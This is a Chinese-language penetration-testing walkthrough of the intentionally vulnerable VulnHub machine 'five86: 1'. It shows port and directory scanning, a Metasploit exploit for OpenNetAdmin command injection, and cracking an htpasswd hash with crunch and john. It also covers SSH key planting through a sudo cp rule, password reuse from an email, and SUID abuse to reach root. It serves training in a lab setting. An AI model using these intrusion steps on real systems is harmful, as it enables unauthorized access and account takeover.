简介
靶机地址:five86: 1 ~ VulnHub
Name: five86: 1
靶机介绍:
Five86-1 is another purposely built vulnerable lab with the intent of gaining experience in the world of penetration testing.
The ultimate goal of this challenge is to get root and to read the one and only flag.
Linux skills and familiarity with the Linux command line are a must, as is some experience with basic penetration testing tools.
For beginners, Google can be of great assistance, but you can always tweet me at @DCAU7 for assistance to get you going again. But take note: I won’t give you the answer, instead, I’ll give you an idea about how to move forward.
信息搜集
拿到靶机 IP
后对它进行端口扫描:
1 |
nmap -A 192.168.1.134 |
靶机开放了 22
、80
、10000
三个端口。我们先看看 web
页面:
1 |
http://192.168.1.134/ |
web
页面是空白的!那么我们对它目录进行扫描:
1 |
dirb http://192.168.1.134 |
发现有这些目录文件:
1 2 3 4 5 6 |
---- Scanning URL: http://192.168.1.134/ ---- + http://192.168.1.134/index.html (CODE:200|SIZE:30) + http://192.168.1.134/reports (CODE:401|SIZE:460) + http://192.168.1.134/robots.txt (CODE:200|SIZE:29) + http://192.168.1.134/server-status (CODE:403|SIZE:278) ----------------- |
其中打开 robots.txt
文件后发现隐藏了这个目录:
接着访问刚刚获取到的隐藏目录:
1 |
http://192.168.1.134/ona/ |
OpenNetAdmin-命令注入获取SHELL
打开后发现它是由 OpenNetAdmin
(一个 IP 网络系统和主机管理系统)CMS
,搜索了一下他的漏洞发现有一个命令注入
:
随后我在 exploit-db.com
网站上找到了一个可以让 Metasploit
利用的脚本:
1 |
https://www.exploit-db.com/exploits/47772 |
下载完之后呢,我把他的 Payload
移动到 MSF
的利用模块目录里:
1 |
/usr/share/metasploit-framework/modules/exploits/ |
这个时候打开 msfconsole
就可以直接加载这个模块,设置攻击目标和攻击主机后直接运行得到一枚会话:
1 2 3 |
msfconsole use exploit/47772 exploit |
获取到 shell
之后,我来到家目录发现了一个 .htpasswd
文件,打开后有一个账号和加密的密码,还有一段作者的提示:
1 2 3 4 5 6 |
www-data@five86-1:~$ cat .htpasswd cat .htpasswd douglas:$apr1$9fgG/hiM$BtsL9qpNHUlylaLxk81qY1 # To make things slightly less painful (a standard dictionary will likely fail), # use the following character set for this 10 character password: aefhrt |
通过提示,靶机作者想让我们通过暴力破解的方式去枚举密码,而提示说密码是10个字符,其中包含字母 aefhrt
!
crunch-生成爆破字典
这个时候我们就需要使用 KALI
下的 crunch
去生成一个字典文件:
1 |
crunch 10 10 aefhrt > dic.txt |
john-爆破密码
随后使用 john
破解密码:
1 2 |
john --wordlist=dic.txt pass # 使用john破解pass文件,字典是dic.txt |
经过漫长的破解,最后破解成功后密码为:fatherrrrr
!
拿到密码后 ssh
登陆它:
1 2 |
douglas:fatherrrrr ssh [email protected] |
sudo-cp命令切换用户
登陆之后我通过 sudo -l
(习惯)发现可以以 jen
用户去执行 cp
命令(很明显了,作者就是想让我们登陆到 jen 这个用户才能完成靶机):
这个时候我们就可以先通过 ssh-keygen
来生成一个密钥,随后将生成的公钥拷贝到 /home/jen/.ssh
,这样就可以让我们登陆到 jen
这个用户!
其实这种方式我之前的文章也写过,大家到我博客翻就可以找到~
1 2 3 4 5 |
ssh-keygen -b 2048 # 生成 2048 比特字节的密钥 cp /home/douglas/.ssh/id_rsa.pub /tmp/authorized_keys # 把生成的公钥复制到 /tmp/ 目录下并命名为:authorized_keys |
这个时候我们来到 /tmp
(临时目录)下给 authorized_keys
这个文件一个可执行权限,然后使用 sudo
以 jen
用户权限去执行 cp
命令,把我们刚刚生成的 authorized_keys
移动到 /home/jen/.ssh/
目录下,这样我们才能登陆它~
1 2 3 |
chmod 777 authorized_keys sudo -u jen /bin/cp authorized_keys /home/jen/.ssh/ ssh [email protected] |
切换到 jen
用户后,我疯狂翻目录模式找到了一份邮件信息:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 |
From roy@five86-1 Wed Jan 01 03:17:00 2020 Return-path: <roy@five86-1> Envelope-to: jen@five86-1 Delivery-date: Wed, 01 Jan 2020 03:17:00 -0500 Received: from roy by five86-1 with local (Exim 4.92) (envelope-from <roy@five86-1>) id 1imZBc-0001FU-El for jen@five86-1; Wed, 01 Jan 2020 03:17:00 -0500 To: jen@five86-1 Subject: Monday Moss MIME-Version: 1.0 Content-Type: text/plain; charset="UTF-8" Content-Transfer-Encoding: 8bit Message-Id: <E1imZBc-0001FU-El@five86-1> From: Roy Trenneman <roy@five86-1> Date: Wed, 01 Jan 2020 03:17:00 -0500 Hi Jen, As you know, I'll be on the "customer service" course on Monday due to that incident on Level 4 with the accounts people. But anyway, I had to change Moss's password earlier today, so when Moss is back on Monday morning, can you let him know that his password is now Fire!Fire! Moss will understand (ha ha ha ha). Tanks, Roy |
其中邮件的内容包含了一个用户的账号和密码,我们使用得到的账号和密码登陆到了 ssh
:
1 2 |
USER:moss PASS:Fire!Fire! |
登陆之后通过查看那些文件有 SUID
权限后发现有一个文件:
1 2 |
moss@five86-1:~$ find /home -type f -perm -u=s 2>/dev/null /home/moss/.games/upyourgame |
SUID
具体可以看看这篇文章:Linux 特殊权限 SUID,SGID,SBIT - sparkdev - 博客园
接着切换到那个文件的目录:
1 |
cd /home/moss/.games/ |
最后运行 upyourgame
文件依次输入 yes
、no
获取到 root
权限,最终在 /root/
目录下拿到 Flag~
交流群:
微信公众号:
知识星球: